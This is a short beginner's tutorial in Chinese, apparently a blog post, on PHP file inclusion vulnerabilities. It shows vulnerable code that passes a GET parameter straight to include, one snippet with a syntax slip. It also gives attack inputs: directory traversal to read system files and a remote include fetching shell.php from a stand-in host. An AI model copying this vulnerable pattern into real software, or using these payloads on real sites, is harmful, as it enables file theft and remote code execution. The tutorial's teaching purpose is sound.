文件包含

本文作者是一个白的不能再白的小白的写的,自身的水平有限,本着分享的态度,如遇到不对的地方,希望大家多多提意见。

文件包含漏洞

PHP文件包含漏洞是由于在通过PHP函数引入文件时没有经过安全校验,从而对预想之外的进行了操作,可能造成文件泄露和恶意代码的恶意执行。

下面来看一段index.php示例代码;

<?php

if ($_GET['func']) {

include $_GET['func']; }

else { include 'default.php'; }

?>

程序的本意是调用某个功能界面,假设整个网站中有一个userinfo.php的文件,此时可以通过url:http://xxx.test.com/index.php?func=userinfo.php,调用userinfo.php的内容和功能。如果func没有参数传入,则默认调用default.php的功能和作用。

但是此代码被骇客(黑客最初是一个褒义词,只不过现在慢慢变了味道)看到,假设此站点还有上传功能,黑客通过上传恶意代码hack.php,便可以通过本地包含url:http://xxx.test.com/index.php?func=/upload/document/hack.php,访问。

普通本地包含

以如下代码为例:

<?php

include($_GET['file'];

?>

包含同目录下的文件: ?file=./flag.txt

目录遍历:?file=../../../../../../../../

在linux系统中,cd .. 代表返回上级目录。例如可以通过file=../../../../../../../../../var/lib/mlocate/mlocate.db,读取所有文件的存储路径,但是需要root权限。

普通远程文件包含

远程代码执行:?file=[http|https|ftp]://example.com/shell.php(需要开启allow_url_fopen和allow_url_include)这样就可以执行shell,从而控制程序了。

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容